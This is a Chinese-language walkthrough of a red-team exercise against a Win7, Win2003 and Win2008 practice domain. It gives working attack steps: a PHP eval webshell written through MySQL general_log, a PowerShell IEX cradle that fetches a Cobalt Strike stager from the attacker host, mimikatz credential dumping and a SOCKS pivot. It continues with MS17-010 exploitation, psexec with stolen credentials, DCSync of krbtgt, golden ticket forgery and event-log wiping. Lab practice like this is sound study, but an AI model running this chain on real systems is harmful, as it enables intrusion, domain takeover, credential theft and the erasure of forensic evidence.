云计算百科
云计算领域专业知识百科平台

红日靶场(win7、win2003、win2008)

基本信息

测试环境

Plain Text 系统环境 渗透机:kali 靶 机:部署到虚拟机上的 Win7(边界主机)、Win2003(内网成员服务器)、Win2008(域控 god.org) 网络:外网为 NAT 网段,内网为仅主机网段 192.168.52.0/24

使用工具/软件:

Plain Text Nmap(端口与服务扫描、MS17-010 漏洞探测) Dirsearch(Web 目录扫描) 中国蚁剑(连接一句话木马,管理文件与虚拟终端) Cobalt Strike(Beacon 上线、内网信息收集、SOCKS 代理) Metasploit(MS17-010 检测与利用、psexec 横向) Proxychains(配合 SOCKS 代理验证内网可达性) Mimikatz(抓取明文密码与哈希、导出 krbtgt、伪造黄金票据;通过 CS 内置模块和 MSF kiwi 调用)

测试目的

Plain Text 本次测试在 VMware 搭建的红日靶场一环境中进行,按“外网打点—内网横向—域渗透”三个阶段推进。第一阶段从 Win7 的 80 端口入手,目录扫描发现 phpMyAdmin,用 root/root 弱口令登录后台,借 MySQL 的 general_log 把一句话木马写进 Web 目录,再用蚁剑连接并上线 Cobalt Strike;第二阶段在 Win7 上收集内网信息、抓取凭据,借助代理隧道用永恒之蓝拿下 Win2003,再用抓到的域管凭据横向到 Win2008;第三阶段在域控上抓 krbtgt 哈希制作黄金票据,完成权限维持并清理日志。通过整套流程,练习 Web 入口利用、隧道搭建、MS17-010 利用、凭据传递和域内权限维持这些内网渗透的常见环节。

环境配置

1. 配置虚拟网络

(1)打开 VMware Workstation,菜单栏 编辑 → 虚拟网络编辑器,点右下角“更改设置”,UAC 弹窗点“是”。

(2)列表里找到 NAT 模式那一项(通常是 VMnet8),确认类型是“NAT 模式”,记下它的子网地址,Kali 和 Win7 的外网地址都在这个网段。

(3)点“添加网络”,选一个没被占用的编号(VMnet2,被占了就换 VMnet3,后面所有设置跟着改),网络模式选“仅主机模式”。

(4)取消勾选“使用本地 DHCP 服务将 IP 地址分配给虚拟机”,避免虚拟机拿到随机地址。

(5)子网 IP 填 192.168.52.0,子网掩码 255.255.255.0。

(6)点“应用”,再点“确定”。

这两个网段分别扮演“外网”和“内网”:NAT 网段让 Kali 能打到 Win7 的外网口,仅主机网段承载 192.168.52.0/24 的内网。Win7 同时踩在两个网段上,是唯一的边界主机。

2. 配置三台机器的网卡与 IP

Win7(双网卡,边界主机)

(1)关机状态下右键虚拟机 → 设置 → 网络适配器:第一张设为“NAT 模式”,第二张设为“自定义 → VMnet2”。

(2)开机登录,进入 控制面板 → 网络和共享中心 → 更改适配器设置。

(3)NAT 网卡 → 属性 → IPv4,选“自动获得 IP 地址”“自动获得 DNS 服务器地址”。

(4)VMnet2 网卡 → 属性 → IPv4,选“使用下面的 IP 地址”: IP 地址 192.168.52.143 子网掩码 255.255.255.0 默认网关、DNS 留空

Win2003(单网卡,内网成员服务器)

(1)设置 → 网络适配器 → 自定义 → VMnet2。

(2)开机登录,IPv4 手动配置: IP 地址 192.168.52.141 子网掩码 255.255.255.0 默认网关留空 首选 DNS 服务器 192.168.52.138

Win2008(单网卡,域控)

(1)设置 → 网络适配器 → 自定义 → VMnet2。

(2)开机登录,IPv4 手动配置: IP 地址 192.168.52.138 子网掩码 255.255.255.0 默认网关留空 首选 DNS 服务器 192.168.52.138

3. 关闭防火墙并启动服务

Win7 和 Win2008 以管理员身份打开 CMD,执行:

Plain Text netsh advfirewall set allprofiles state off

命令拆解解释:

  • netsh advfirewall:Vista / Server 2008 之后版本的防火墙配置命令
  • set allprofiles state off:把域、专用、公用三种配置文件的防火墙一次性关掉
  • 靶场里关防火墙是为了让端口扫描和横向移动不被拦;真实环境不能这么干,应该按端口放行

Win2003 是 Server 2003,先按旧版写法执行:

Plain Text netsh firewall set opmode disable

命令拆解解释:

  • netsh firewall:Server 2003 使用的防火墙配置命令
  • set opmode disable:把防火墙切换到关闭状态

实际执行返回 The following command was not found: firewall set opmode disable。这不是拼写问题,而是这台 2003 镜像的 Windows Firewall/ICS 服务默认停用,netsh 没有注册 firewall 上下文,命令自然不存在。

用服务状态确认一下:

Plain Text sc query sharedaccess

命令拆解解释:

  • sharedaccess:Windows Firewall 与 Internet Connection Sharing 的服务名
  • STATE 显示 STOPPED,或者提示服务不存在,说明防火墙没有运行,也就不存在过滤,不需要再处理

2003 的防火墙在这里已经确认是未运行状态,后面的端口扫描和横向移动不会被它拦。

4. 验证连通性

Kali 上执行:

Plain Text ip a

命令拆解解释:

  • ip a:列出本机所有网卡和地址
  • 记下 NAT 网卡(一般是 eth0)的 IP,本次是 192.168.10.133。外网网段以实际 ipconfig 为准,不要照抄虚拟网络编辑器里的默认值。

Win7 上执行:

Plain Text ipconfig /all

命令拆解解释:

  • ipconfig /all:查看所有网卡的 IP、掩码、网关、DNS 和 MAC
  • 重点确认两块网卡都有地址:NAT 网卡是 192.168.10.x,VMnet2 网卡是 192.168.52.143

互相ping:

Plain Text Kali ping Win7: ping 192.168.10.140

Plain Text Win7 ping Kali、2003和2008: ping 192.168.10.133 ping 192.168.52.141 ping 192.168.52.138

Plain Text Win2003 与 Win2008 互 ping 正常: ping 192.168.52.141 ping 192.168.52.138

5. 启动Win7的PhpStudy

第一关 外网打点

扫描 Win7 端口与服务

Plain Text nmap -sV -Pn 192.168.10.140

命令拆解解释:

  • nmap:端口扫描与服务识别工具
  • -sV:探测每个开放端口上运行的服务和版本
  • -Pn:跳过主机存活探测直接扫端口,Windows 默认可能不回 ICMP,不加这个参数容易把开着的主机误判成 down
  • 192.168.10.140:Win7 的外网地址

开放的端口里,80 是 Apache httpd 2.4.23(Win32 构建,PHP 5.4.45),3306 是 MySQL,135、139、445 以及 1025-1030 是 Windows 的 RPC、NetBIOS 和 SMB 服务。从 PHP 版本和端口组合看,这是 phpStudy 一类的集成环境,网站根目录大概率是 C:\\phpStudy\\WWW。

Web 目录扫描

80 端口返回的是 phpStudy 的默认站点,首页本身没什么功能,需要扫目录找后台和上传点。

Plain Text dirsearch -u http://192.168.10.140 -e php,html -t 50

命令拆解解释:

  • dirsearch:基于字典的 Web 目录扫描工具
  • -u:目标 URL,结尾不用带斜杠
  • -e php,html:只保留 php 和 html 后缀的结果,减少干扰
  • -t 50:50 个线程并发,速度更快

扫描结果里有三个 200:/phpinfo.php(71KB,环境探针页,能直接看到网站绝对路径)、/phpmyadmin/(数据库后台入口)、/shell.php(802 字节)。其余大量 403 是 Apache 对 .htaccess 一类文件的拒绝,不用管。

phpMyAdmin 弱口令登录

phpMyAdmin 是 MySQL 的 Web 管理端,这套环境里数据库账号直接用了 root/root 这种最弱的组合。

Plain Text http://192.168.10.140/phpmyadmin/

用户名 root、密码 root,登录后进入 phpMyAdmin 主界面,左侧能看到 information_schema、mysql 等系统库,说明拿到的是 root 权限的数据库会话。

利用 MySQL 日志写入 Webshell

phpMyAdmin 只提供数据库操作,要拿系统权限得先往 Web 目录写一个 PHP 文件。常见的两条路:INTO OUTFILE 和写日志。先确认能不能用第一条:

Plain Text show variables like '%secure_file_priv%';

命令拆解解释:

  • secure_file_priv:控制 MySQL 能否用 INTO OUTFILE 导出文件
  • 值为 NULL 表示禁止导出,只能改走日志写入这条路

查看当前日志配置:

Plain Text show variables like '%general%';

命令拆解解释:

  • general_log:通用查询日志开关,开启后每条 SQL 语句都会被记录到日志文件
  • general_log_file:日志文件的路径,把它指向 Web 目录下的 .php 文件,再执行一条带木马的查询,木马就会跟着日志落盘

依次执行三条 SQL:

Plain Text set global general_log = 'on';

Plain Text set global general_log_file = 'C:/phpStudy/WWW/cmd.php';

Plain Text select '<?php eval($_POST["cmd"]);?>';

命令拆解解释:

  • set global general_log = 'on':打开通用查询日志
  • set global general_log_file = …:把日志路径改到 Web 根目录,文件名用 .php,这样日志内容会被 Apache 当成 PHP 解析
  • select '<?php …>':这条查询本身会被写进日志,日志里就带上了木马代码

浏览器访问http://192.168.10.140/cmd.php

页面会打印出MySQL 的日志内容:启动信息、我们执行过的几条查询,最后一行是 Notice: Undefined index: cmd in C:\\phpStudy\\WWW\\cmd.php on line 7。这条 Notice 本身就证明 PHP 代码已经被解析执行,只是没有传 cmd 参数。文件写入成功。

蚁剑连接 Webshell

打开中国蚁剑,右键空白处 → 添加数据,填写连接信息:

URL:http://192.168.10.140/cmd.php 密码:cmd 编码:默认

点“添加”,双击新建的条目,进入文件管理界面,能看到 C:\\phpStudy\\WWW 下的文件列表。

切到“虚拟终端”,确认当前权限:

Plain Text whoami

命令拆解解释:

  • whoami:查看当前 Shell 以哪个账号运行
  • 返回值决定后面要不要先提权,如果是 administrator 或 system,可以直接上传木马

返回 god\\administrator,说明 phpStudy 服务是以域管理员账号启动的,Webshell 直接继承了这个身份。后面在 Win7 上抓凭据之所以能拿到域管明文,根源就在这里。

Cobalt Strike 上线

(1)启动服务端:

Plain Text sudo ./teamserver 192.168.10.133 123456

命令拆解解释:

  • teamserver:CS 的服务端程序
  • 192.168.10.133:服务端对外地址,填 Kali 的 IP
  • 123456:客户端连接密码,自己定,后面客户端要用同一个

(2)另开一个终端启动客户端:

Plain Text sudo ./cobaltstrike-client.sh

命令拆解解释:

  • cobaltstrike-client.sh:客户端启动脚本,不同版本的 CS 打包方式不同,有的叫 cobaltstrike,有的叫 cobaltstrike-client.sh,以目录里实际存在的文件为准
  • Host 填 127.0.0.1,Port 填 50050,User 保持默认,Password 填服务端设置的密码

(3)创建监听器:

Cobalt Strike → Listeners → Add

Name:http Payload:windows/beacon_http/reverse_http HTTP Hosts:192.168.10.133 HTTP Port:8080

点 Save,列表里出现一条记录,host 列是 192.168.10.133,port 是 8080。

(4)托管 payload

Attacks → Scripted Web Delivery

URI Path:/a

Local Host:192.168.10.133

Local Port:80

Listener:http

Type:powershell

不勾选 Use x64 payload

点 Launch,弹窗里会给出执行命令。

托管端口和监听端口是两个不同的东西:80 负责把 stager 送到目标手里,8080 负责接收 beacon 回连。之所以不用本地生成 exe,是因为客户端在 Linux 下的文件选择框弹不出来,用 Scripted Web Delivery 可以完全绕开文件落地这一环。

(5)在目标上执行

把弹窗里的命令复制到蚁剑虚拟终端执行:

Plain Text powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.10.133:80/a'))"

命令拆解解释:

  • powershell:调用 PowerShell
  • -nop:不加载用户的 PowerShell 配置文件,减少干扰
  • -w hidden:隐藏窗口,执行时目标桌面不会闪出黑框
  • IEX:Invoke-Expression 的别名,把下载到的字符串当作代码执行
  • downloadstring:用 .NET 的 WebClient 把 URI 内容一次性拉下来

Beacon 上线

CS 下方出现会话记录:external 192.168.10.140,internal 192.168.52.143,computer 列是 STU1,process 是 powershell.exe,arch 是 x86。

右键会话 → Interact,执行:

Plain Text sleep 5

命令拆解解释:

  • sleep:设置 Beacon 的心跳间隔,单位秒
  • 默认 60 秒,调试阶段改成 5 秒,命令回显会快很多

Plain Text shell whoami

命令拆解解释:

  • shell:通过 Beacon 执行系统命令
  • whoami:确认当前权限,返回 god\\administrator,和蚁剑里看到的一致

第二关 内网横向

内网信息收集

Beacon 上线只说明 Win7 已经受控,内网里有什么、域控在哪、补丁打到什么程度,这些都要先查清楚,再决定下一步怎么打。

Plain Text shell ipconfig /all

命令拆解解释:

  • ipconfig /all:确认两块网卡的地址和 DNS 配置,判断这台机器与域的关系

结果里除了 192.168.10.140,还有一张 192.168.52.143 的网卡,说明这台机器同时踩在外网和内网里,是天然的跳板。

Plain Text shell net config workstation

命令拆解解释:

  • net config workstation:查看当前计算机的域或工作组信息
  • 输出里的“工作站域”就是它所属的域

Plain Text shell net view /domain

命令拆解解释:

  • net view /domain:列出当前域里的计算机
  • 能列出主机名,说明当前账号具备域内查询权限

Plain Text shell net group "domain controllers" /domain

命令拆解解释:

  • net group:查询域内的组
  • "domain controllers":域控组,成员就是域控制器,双引号不能省
  • 输出的主机名和 IP 就是第三关的目标

域查询命令因为 Win7 默认 DNS 指向 NAT 网卡,SRV 解析失败,net group、net user 都没有正常返回。这一步改用 nslookup 指定域控地址的方式确认:域控主机名 OWA,FQDN 为 owa.god.org,IP 192.168.52.138;成员机 192.168.52.141 由环境配置和 arp 结果确认。后续横向操作全部直接使用 IP,不再依赖域查询。

抓取凭据

Win7 上的 phpStudy 是以域管理员身份运行的,Beacon 也继承了这个身份,先用 mimikatz 把内存里的凭据读出来。

Plain Text mimikatz sekurlsa::logonpasswords

命令拆解解释:

  • mimikatz:调用 CS 内置的 mimikatz
  • sekurlsa:模块名,负责从 lsass 内存里读取登录会话
  • logonpasswords:该模块下的命令,作用是导出明文密码和哈希

输出按 msv、tspkg、wdigest、kerberos 四组分别列出了凭据,账号都是 GOD\\Administrator,明文密码 Admin123,NTLM 哈希 e45a314c664d40a227f9540121d1a29d。SID 是 S-1-5-21-2952760202-1353902439-2381784089-500,去掉末尾的 -500 就是域 SID,第三关做黄金票据时会用到。

内网端口探测

拿到凭据后,还需要确认内网目标开放哪些端口。用 Beacon 自带的扫描功能,从目标侧向内网探测:

Plain Text portscan 192.168.52.138,192.168.52.141 21,22,80,135,139,445,3389

命令拆解解释:

  • portscan:CS 内置的端口扫描,由 Beacon 发起,流量从 Win7 出去,不经过 Kali,所以不需要隧道
  • 目标部分写 IP,多个用逗号分隔
  • 端口部分按内网横向常用端口挑选:21 是 FTP、22 是 SSH、80 是 Web、135 是 RPC、139/445 是 SMB、3389 是远程桌面

扫描结果显示 192.168.52.138 开放 80、135、139、445,SMB 指纹主机名 OWA、版本 6.1、域 GOD,是域控;192.168.52.141 开放 21、135、139、445,SMB 指纹主机名 ROOT-TVI862UBEH、版本 5.2,对应 Server 2003。两台都开放 445。

搭建 SOCKS 隧道

141 只能从 Win7 访问,Kali 直接打不到它,需要先把 Beacon 变成一个代理。在 Beacon 控制台执行:

Plain Text socks 1080

命令拆解解释:

  • socks:在 Beacon 上启动 SOCKS 代理
  • 1080:代理监听端口,实际绑定在 Kali 上,流量经 Win7 转发进内网
  • 启动后所有走 127.0.0.1:1080 的请求都会从 Win7 出去

Kali 上确认端口已监听:

Plain Text ss -lntp | grep 1080

然后配置 proxychains,把 /etc/proxychains4.conf 末尾默认的 9050 代理替换成 1080:

Plain Text sudo sed -i 's/^socks4[[:space:]]*127.0.0.1[[:space:]]*9050/socks4 127.0.0.1 1080/' /etc/proxychains4.conf

命令拆解解释:

  • sed -i:直接修改文件内容,不生成新文件
  • 正则匹配默认的 socks4 127.0.0.1 9050,替换成 socks4 127.0.0.1 1080

确认改好了:

Plain Text tail -5 /etc/proxychains4.conf

改完测试隧道:

Plain Text proxychains4 nmap -sT -Pn -p 445 192.168.52.141

看到 445 是 open 就说明代理通了。

隧道验证通过:Strict chain 127.0.0.1:1080 → 192.168.52.141:445 OK,445 是 open。这说明 SOCKS 代理确实能把流量从 Win7 转进内网。

启动 MSF 检测 MS17-010

Plain Text msfconsole -q use auxiliary/scanner/smb/smb_ms17_010 setg Proxies socks4:127.0.0.1:1080 set RHOSTS 192.168.52.141 run

命令拆解解释:

  • smb_ms17_010:只做漏洞检测,不执行利用
  • setg:全局设置,后面换 exploit 模块时不用重复配代理
  • Proxies:MSF 的代理参数,格式为 socks4:IP:PORT
  • RHOSTS:目标地址

检测结果很明确:Windows Server 2003 3790 x86 (32-bit),存在 MS17-010。32 位这个信息很关键,payload 必须用 x86 的。

永恒之蓝利用

Server 2003 对应的是 EternalRomance 这条链,MSF 里的模块是 ms17_010_psexec:

Plain Text use exploit/windows/smb/ms17_010_psexec

命令拆解解释:

  • 这个模块先利用 MS17-010 打通 SMB,再通过服务管理器执行 payload
  • 和 ms17_010_eternalblue 的区别:后者只支持 Win7/2008 以上的 x64 系统,2003 必须用 psexec 这个

MSF 没指定 payload,就默认用了 reverse_tcp。这个 payload 在内网打不通:141 回连不到 Kali。因此要先改成 bind。

在当前 msf exploit(windows/smb/ms17_010_psexec) > 提示符下依次执行:

Plain Text set payload windows/meterpreter/bind_tcp set RHOSTS 192.168.52.141 set LPORT 4444 show options

命令拆解解释:

  • set payload:显式指定 bind_tcp,避免走默认的 reverse_tcp
  • RHOSTS:目标地址
  • LPORT:bind 模式下是目标要监听的端口
  • show options:确认 Proxies 一栏仍是 socks4:127.0.0.1:1080

参数已齐全:RHOSTS、LPORT、payload 的 RHOST 都填好了,SHARE 默认 ADMIN$,可以直接跑:

Plain Text run

Proxies 属于高级参数,show options 不会显示,要用 show advanced 才看得到;之前 setg 已回显 Proxies => socks4:127.0.0.1:1080,说明代理已生效,不用重复设置。

利用时先尝试 x64 的 stick 失败,换成 x86 后命中,印证了目标确实是 32 位。随后成功泄露事务、拿到 SYSTEM 会话,上传 payload(XVGQaUBv.exe)、创建服务并启动,执行完自动删除文件。bind handler 在 141:4444 上监听,stage 传送完成后返回 Meterpreter session 1。由于流量经过 SOCKS 代理,会话里显示的地址是 127.0.0.1:1080,不是目标真实地址。

接着确认权限:

Plain Text getuid

命令拆解解释:

  • getuid:查看当前会话身份
  • 永恒之蓝利用成功一般是 NT AUTHORITY\\SYSTEM

Plain Text sysinfo

命令拆解解释:

  • sysinfo:确认主机名、系统版本和架构,和前面的 SMB 指纹对上

Plain Text ipconfig

命令拆解解释:

  • ipconfig:确认 141 的内网地址,顺便看它有没有其他网段

会话权限为 NT AUTHORITY\\SYSTEM,目标主机名 ROOT-TVI862UBEH,系统 Windows Server 2003 (5.2 Build 3790),架构 x86,所属域 GOD,IP 192.168.52.141。攻击机由此获得在内网的第二个立足点。

凭据横向到域控

Win2003 已经拿下,还剩 138。手里有 GOD\\Administrator / Admin123,这一台不需要再打漏洞,直接用凭据横向。

先退出 Meterpreter 上下文。在 meterpreter > 下敲 use 是用来加载扩展的,加载 MSF 模块必须先回到 msf 提示符:

Plain Text background

命令拆解解释:

  • background:把当前会话挂到后台,提示符从 meterpreter 回到 msf
  • 会话不会断开,需要时用 sessions -i 1 切回
  • 在 meterpreter 下直接敲 use 会报 Failed to load extension,这一步就是为了绕开它

Plain Text use exploit/windows/smb/psexec

命令拆解解释:

  • use:加载指定模块
  • windows/smb/psexec:通过 SMB 把 payload 上传到目标的管理共享,再注册服务启动
  • 这条路径依赖有效凭据,不依赖漏洞,和永恒之蓝是两种思路

接着依次执行:

Plain Text set RHOSTS 192.168.52.138 set SMBUser Administrator set SMBPass Admin123 set SMBDomain GOD set payload windows/x64/meterpreter/bind_tcp set LPORT 4445 run

命令拆解解释:

  • RHOSTS:目标地址,也就是域控。psexec 会去连它的 445 端口
  • SMBUser / SMBPass:mimikatz 抓到的域管凭据
  • SMBDomain:账号所属的域,写 GOD,和 whoami 回显里的 GOD\\ 前缀一致。三个参数要成套配,缺 SMBDomain 时 MSF 会按本地账号去认证,结果就是登录失败
  • 138 是 Server 2008 R2,只有 64 位版本,payload 必须用 x64
  • bind_tcp:由目标监听端口、MSF 主动去连。Kali 直接进不了内网,只能反过来连。这里的连接会走前面建立的 SOCKS 代理
  • bind 模式下 LPORT 是“目标要监听的端口”
  • 141 已经占了 4444,这里换成 4445 避免冲突
  • run:执行模块
  • 关注三行输出:Authenticating(认证成功)、Service start timed out(正常提示,payload 已执行)、Meterpreter session 2 opened(会话建立)

psexec 以 GOD\\Administrator 身份通过 445 认证成功,选择 PowerShell 方式启动服务,Service start timed out 属于正常提示,payload 已经执行。bind handler 建立后传送 stage(248902 字节),返回 Meterpreter session 2。因为流量经过 SOCKS,会话地址显示为 127.0.0.1:1080。

至此第二关完成:Win2003 通过永恒之蓝拿下,Win2008 通过域管凭据横向拿下,内网两台主机都在控制之下。

第三关 域渗透与权限维持

确认域控身份并抓取 krbtgt 哈希

Session 2 落在 138 上,先确认拿到的确实是域控,再从它身上取 krbtgt。

Plain Text getuid

命令拆解解释:

  • getuid:查看当前会话身份
  • 域控上的 psexec 会话通常是 NT AUTHORITY\\SYSTEM

Plain Text sysinfo

命令拆解解释:

  • sysinfo:确认主机名、系统版本和架构
  • 主机名应该是 OWA,版本是 Windows Server 2008 R2,架构 x64

接着加载 kiwi:

Plain Text load kiwi

命令拆解解释:

  • kiwi:MSF 对 mimikatz 的封装,加载之后才能调用 mimikatz 系列命令
  • 加载成功会提示 Kiwi loaded

Plain Text kiwi_cmd lsadump::dcsync /domain:god.org /user:krbtgt

命令拆解解释:

  • lsadump::dcsync:模拟域控之间的复制请求,向 DC 索要指定账号的凭据
  • /domain:god.org:目标域
  • /user:krbtgt:要导出的账号
  • 这条命令要求域管权限,当前是 SYSTEM,满足条件

dcsync 成功导出 krbtgt 凭据,NTLM 哈希为 58e91a5ac358d86513ab224312314061,Object Security ID 为 S-1-5-21-2952760202-1353902439-2381784089-502,去掉末尾的 RID 502 得到域 SID S-1-5-21-2952760202-1353902439-2381784089。输出中还带出了 AES256、AES128、DES、RC4 四组 Kerberos 密钥,做黄金票据用 RC4(NTLM)这一组即可。

伪造黄金票据

黄金票据的本质,是用 krbtgt 的哈希自己签一张 TGT。票据里的用户、组、权限都可以随便写,域控收到后用 krbtgt 哈希验签,验过就认。

Plain Text kiwi_cmd kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ptt

命令拆解解释:

  • kerberos::golden:构造黄金票据
  • /user:票据里伪造的用户名,这里用 Administrator
  • /domain:目标域名
  • /sid:域 SID,注意是不带 RID 的那一段
  • /krbtgt:krbtgt 的 NTLM 哈希
  • /ptt:pass-the-ticket,生成后直接注入当前会话的登录凭据,不落地文件

验证票据是否注入成功:

Plain Text kiwi_cmd kerberos::list

命令拆解解释:

  • kerberos::list:列出当前登录会话里持有的 Kerberos 票据
  • 能看到一条用户为 Administrator、域为 GOD.ORG 的票据,说明注入成功

用这张票据访问域控的管理共享:

Plain Text shell dir \\\\192.168.52.138\\c$

命令拆解解释:

  • 带票据访问域控的 C$ 共享
  • 能列出目录内容,说明伪造的 TGT 被域控认可,权限维持成立

kerberos::golden 构造成功,票据里的用户是 Administrator、域是 god.org、User Id 为 500,组列表里带上了 512(Domain Admins)、518(Schema Admins)、519(Enterprise Admins)、520(Group Policy Creator Owners),ServiceKey 显示用 krbtgt 的 rc4_hmac_nt 签名。最后提示 successfully submitted for current session,说明票据已经注入当前登录会话。

shell 后面带参数时,meterpreter 打开的是交互式 shell,并不会执行该命令。退到 C:\\Windows\\system32> 提示符后,直接输入:

Plain Text dir \\\\192.168.52.138\\c$

带票据访问 \\192.168.52.138\\c$,成功列出域控 C 盘目录,包括 inetpub、Program Files、Users、Windows 等,说明域控认可了这张伪造的 TGT,权限维持成立。

痕迹清理

拿到最高权限之后,收尾要把留下的东西处理掉。靶场里不做也不影响,但真实项目必须做。

先在 138 的 shell 里清日志:

Plain Text wevtutil cl security wevtutil cl system wevtutil cl application

命令拆解解释:

  • wevtutil:Windows 事件日志管理工具
  • cl:clear,清空指定日志
  • security / system / application:分别对应安全、系统、应用程序三条日志
  • 横向移动、服务创建、票据使用都会在这三条日志里留下记录

138 的日志清理完后,退出 shell 并切到 141。141 是 Server 2003,没有 wevtutil(该命令从 Vista / Server 2008 才开始提供),改用 Meterpreter 自带的 clearev:

Plain Text exit clearev

命令拆解解释:

  • exit:退出 138 的 shell,回到 meterpreter
  • clearev:清三条日志

141 清完了:Application 372 条、System 677 条、Security 581 条。

接下来清 Win7 上的落地文件。这里有一个顺序问题:cmd.php 是由 MySQL 的 general_log 写出来的,如果只删文件而不关闭日志,MySQL 会继续往那个路径写入,文件会立刻重新生成。

先登录 phpMyAdmin,关闭日志:

Plain Text set global general_log = 'off';

命令拆解解释:

  • 关闭通用查询日志后,MySQL 不再往 cmd.php 里写内容
  • 只有关闭日志后再删文件,文件才不会被重新创建

再回蚁剑,把 C:\\phpStudy\\WWW\\cmd.php 删掉。

顺手检查一下有没有其他残留,在 138 的 shell 里看临时目录:

Plain Text shell dir C:\\WINDOWS dir C:\\WINDOWS\\Temp

检查临时目录,C:\\WINDOWS\\Temp 下只有镜像自带的 0 字节空文件,%TEMP% 为空,没有本次攻击产生的残留。永恒之蓝上传的 XVGQaUBv.exe 在利用结束时已由模块删除,141 无需额外处理。

测试结论

    这次测试从外网 Web 入口一路打到了域控,三关的目标全部完成。第一关在 Win7 上用 phpMyAdmin 的 root/root 进后台,借 general_log 写马拿到 Webshell,再上线 Beacon;第二关在 Win7 上抓到域管凭据,搭 SOCKS 隧道用永恒之蓝拿下 2003,又用同一组凭据 psexec 拿下 2008;第三关在域控上 dcsync 出 krbtgt 哈希,伪造黄金票据访问管理共享,最后清理日志和落地文件。整条链没有用 0day,靠的是弱口令、配置不当和补丁缺失。

    漏洞主要问题有三处:一是边界 Web 服务使用 root/root 弱口令,phpMyAdmin 直接暴露在 80 端口,攻击者不需要任何漏洞就能进数据库后台;二是 Web 服务以域管理员账号运行,Web 层一旦被突破,权限直接等同于域管,这是整条链上最快的一环;三是内网主机补丁缺失,192.168.52.141 存在 MS17-010,同时域内账号口令强度不足、存在复用,一台机器失陷后可以迅速横向到全域。

赞(0)
未经允许不得转载:网硕互联帮助中心 » 红日靶场(win7、win2003、win2008)
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!